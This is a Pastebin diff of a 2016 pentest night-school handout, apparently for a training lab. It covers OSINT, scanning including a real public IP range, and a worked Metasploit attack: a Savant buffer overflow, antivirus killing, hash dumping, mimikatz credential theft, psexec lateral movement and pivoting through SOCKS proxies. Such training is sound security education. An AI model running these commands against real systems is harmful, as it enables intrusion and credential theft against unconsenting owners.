View difference between Paste ID: xvy3B4U5 and PsGH4uK2

 ################################
 # Pentester Night School 2016  #
 # By Joe McCray                #
 ################################
 
 
 ##########
 # VMWare #
 ##########
 - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
 
 - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
 
 
 ##########################
 # Download the attack VM #
 ##########################
 
 VM for these labs
 -----------------
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
 user: strategicsec
 pass: strategicsec
 
 ---------------------------------------------------------------------------------------------------------------------------------
 
 
 
 
 
 ################################
 # Tactical Pentest Methodology #
 ################################
 
 The purpose of this section of the Pastebin document is to provide you with a tactical pentest plan.
 
 
 
 -=-=-=-=-=- Phase 1 -=-=-=-=-=-
 
 
 ##########################################
 # Step 1: External Target Identification #
 ##########################################
 Find all of the IP ranges owned by your target company via the following websites:
 - https://www.robtex.com/
 - http://toolbar.netcraft.com/site_report
 
 Look for weak SSL implementations
 - https://www.ssllabs.com/ssltest/
 
 
 
 
 #############################
 # Step 2: Google Quick Hits #
 #############################
 
 Be thorough, and really look for vulnerabilities and data leakages that are relevant to what you learned while doing your OSINT work.
 https://www.exploit-db.com/google-hacking-database/
 
 Really good google dorks to use:
 site:yourtarget.com filetype:pcf
 site:yourtarget.com filetype:ica
 
 1. Footholds:
 -------------
 https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=1&ghdb_search_text=
 
 Be sure to use 'site:yourtarget.com' [ google dork for the site above ]
 
 
 2. Passwords:
 -------------
 https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=9&ghdb_search_text=
 
 Be sure to use 'site:yourtarget.com' [ google dork for the site above ]
 
 
 3. Sensitive Directories:
 -------------------------
 https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=3&ghdb_search_text=
 
 Be sure to use 'site:yourtarget.com' [ google dork for the site above ]
 
 
 
 
 Make sure that you do at least 50-100 different Google dorks. Do no less than 10 dorks per category.
 
 
 
 ###########################
 # Step 3: Compromise Data #
 ###########################
 Look to see if they have already been breached
 
 Search for the target company (and their major competitors) in the Data Breach Database
 http://www.privacyrights.org/data-breach
 
 Place targetgcompany.com in the search box of the link below to look known breaches
 http://zone-h.com/search
 
 Replace targetgcompany.com with your target domain name to look for known XSS vulnerabilities in the site.
 http://xssed.com/search?key=targetcompany.com
 
 
 
 ##############################
 # Step 4: Build OSINT Report #
 ##############################
 
 Passive Recon
 -------------
 Install this add-on and enumerate as much info as possible
 - https://addons.mozilla.org/en-US/firefox/addon/passiverecon/
 
 
 Next we build at an OSINT report with the data gleaned from the previous steps:
 https://s3.amazonaws.com/StrategicSec-Files/OSINT_Innophos_11242010.doc
 
 We looked through this to get an idea of what is not only involved in doing passive recon, but what the actual output of the work should look like.
 
 ---------------------------------------------------------------------------------------------------------------------------------
 
 -=-=-=-=-=- Phase 2 -=-=-=-=-=-
 ##########################
 # Download the attack VM #
 ##########################
 
 VM for these labs
 -----------------
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
 user: strategicsec
 pass: strategicsec
 
 
 ############################################
 # Identifying External Security Mechanisms #
 ############################################
 
 sudo /sbin/iptables -F
      strategicsec
 
 cd /home/strategicsec/toolz
 
 
 
 ###########################
 # Target IP Determination #
 ###########################
 cd /home/strategicsec/toolz
 perl blindcrawl.pl -d targetgcompany.com
 
 -- Take each IP address and look ip up here:
 http://www.networksolutions.com/whois/index.jsp
 
 cd ~/toolz/fierce2
 fierce -dns targetgcompany.com
 cd ..
 
 
 
 cd ~/toolz/
 ./ipcrawl 148.87.1.1 148.87.1.254                               (DNS forward lookup against an IP range)
 
 
 sudo nmap -sL 148.87.1.0-255
      strategicsec
 
 sudo nmap -sL 148.87.1.0-255 | grep oracle
      strategicsec
 
 
 sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255
      strategicsec
 
 Reference:
 http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html
 
 
 
 ###########################
 # Load Balancer Detection #
 ###########################
  Here are some command-line options to use for identifying load balancers:
 
 dig google.com
 
 cd ~/toolz
 ./lbd-0.1.sh targetgcompany.com
 
 
 halberd targetgcompany.com
 
 
 
 ######################################
 # Web Application Firewall Detection #
 ######################################
 
 cd ~/toolz/wafw00f
 python wafw00f.py http://www.targetgcompany.com
 
 cd ~/toolz/
 sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com
      strategicsec
 
 sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com
      strategicsec
 
 
 ---------------------------------------------------------------------------------------------------------------------------------
 
 -=-=-=-=-=- Phase 3 -=-=-=-=-=-
 Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
 
 So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
 https://s3.amazonaws.com/StrategicSec-Files/Strategic-Security-2016-VPN-Info.pdf
 
 sudo nmap -sP 10.0.0.0/24
 
 sudo nmap -sL 10.0.0.0/24
 
 cd ~/toolz
 
 wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
 
 gcc ipcrawl.c -o ipcrawl
 
 chmod 777 ipcrawl
 
 ./ipcrawl 10.0.0.1 10.0.0.254
 
 
 
 wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
 
 gcc propecia.c propecia
 
 sudo cp propecia /bin
 
 propecia 10.0.0 22
 
 propecia 10.0.0 3389
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
 
 cd ~/toolz
 wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2
 tar -jxvf wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2
 sudo cp wkhtmltoimage-i386 /usr/local/bin/
 
 git clone git://github.com/SpiderLabs/Nmap-Tools.git
 cd Nmap-Tools/NSE/
 sudo cp http-screenshot.nse /usr/share/nmap/scripts/
 sudo nmap --script-updatedb
 
 cd ~/toolz/
 mkdir labscreenshots
 cd labscreenshots/
 
 sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/strategicsec/labnet-ip-list.txt
 
 
 
 
 vi screenshots.sh
 
 #!/bin/bash
 printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
 ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
 printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
 
 
 
 
 
 sh screenshots.sh
 
 
 
 
 ##########################
 # Nmap NSE tricks to try #
 ##########################
 sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
 
 sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
 
 
 
 
 ####################################
 # Finally, let's exploit something #
 ####################################
 
 nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
 
 nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
 
 	https://www.exploit-db.com/search
 
 	Search for:
 	Savant httpd 3.1
 	Apache httpd 2.0.58 ((Win32))
 
 
 	Found one written in Python:
 	https://www.exploit-db.com/exploits/18401/
 
 	Found one for Savant 3.1 from Metasploit:
 	https://www.exploit-db.com/exploits/16770/
 
 
 
 cd ~/toolz/metasploit
 ./msfconsole
 use exploit/windows/http/savant_31_overflow
 set RHOST 10.0.0.15
 set PAYLOAD windows/meterpreter/bind_nonx_tcp
 set RPORT 80
 set LPORT 7777
 exploit
 
 
 
 
 
 
 ********************************** Figure out who and where you are **********************************
 
 meterpreter> sysinfo
 
 
 meterpreter> getuid
 
 
 meterpreter> ipconfig
 
 
 meterpreter> run post/windows/gather/checkvm
 
 
 meterpreter> run get_local_subnets
 
 
 
 ********************************** Escalate privileges and get hashes **********************************
 
 
 meterpreter> use priv
 
 
 
 meterpreter > getsystem
 ...got system (via technique 1).
 
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
 
 --------------------------------------------------------
 
 meterpreter> run killav
 
 meterpreter> run post/windows/gather/hashdump
 
 	Got the following admin hash:
 	Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
 
 meterpreter> run post/windows/gather/credentials/credential_collector
 
 meterpreter > load mimikatz
 
 meterpreter > kerberos
 
 	This should give me the administrative password:
 	)K5?Jocb(Yx
 
 
 ********************************** Enumerate the host you are on **********************************
 
 meterpreter> run winenum
 
 meterpreter > run post/windows/gather/enum_applications
 
 meterpreter > run post/windows/gather/enum_logged_on_users
 
 meterpreter > run post/windows/gather/usb_history
 
 meterpreter > run post/windows/gather/enum_shares
 
 meterpreter > run post/windows/gather/enum_snmp
 
 meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
 
 
 ********************************** Get out of Meterpreter **********************************
 
 meterpreter> background
 
 msf exploit(savant_31_overflow) > back
 
 msf>
 
 
 
 
 ********************************** Lateral Movement *******************************
 
 
 Now we can run the PSEXEC exploit.
 
 -- Option 1:
 use exploit/windows/smb/psexec
 
 set SMBUser Administrator
 
 set SMBPass )K5?Jocb(Yx
 
 set RHOST 10.0.0.15
 
 set payload windows/meterpreter/bind_tcp
 
 set LPORT 2345
 
 exploit
 
 ********************************** Get out of Meterpreter **********************************
 
 meterpreter> background
 
 msf exploit(psexec) >back
 
 msf>
 
 **********************************
 
 -- Option 2:
 use exploit/windows/smb/psexec
 
 set SMBUser Administrator
 
 set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
 
 set payload windows/meterpreter/bind_tcp
 
 set RHOST 10.0.0.15
 
 set LPORT 5678
 
 exploit
 
 
 
 ********************************** Set up your Pivot **********************************
 
 meterpreter > background
                                                         <-- background the session
         You want to get back to this prompt:
         msf exploit(handler) > back                     <--- you need to get to main msf> prompt
 
 
 
         sessions -l                                     <--find a session you want to pivot through (note the IP and session number)
 
         Now set up Pivot with a route add
         ---------------------------------
 
 route print												<--- should be blank
 
 route add 10.0.0.15 255.255.255.0 1                       <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
 
 
 route print                                             <----- verify new route
 
 ******************************Scan through your Pivot ******************************
 
 use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot
 
 set THREADS 10
 
 set RHOSTS 10.0.0.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack
 
 set PORTS 445
 
 run
 
 
 ####################################
 # Socks Tunneling with Proxychains #
 ####################################
 --- Open a duplicate putty session to your Ubuntu host
 
 sudo apt-get install -y proxychains
     strategicsec
 
 sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
 
         Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
         socks4  127.0.0.1 1080
 
 ***************************Set up a Socks Proxy through your Pivot *************************
 
 
 use auxiliary/server/socks4a
 
 set SRVHOST 127.0.0.1
 
 set SRVPORT 1080
 
 run
 
         --- Go back to your other putty session with the meterpreter shell
 cd ~
 
 proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 192.168.153.0/24          <--- This is going to be really slow
 
 proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24           <--- This is going to be really slow
 
 
         ---close the duplicate putty session to your Ubuntu host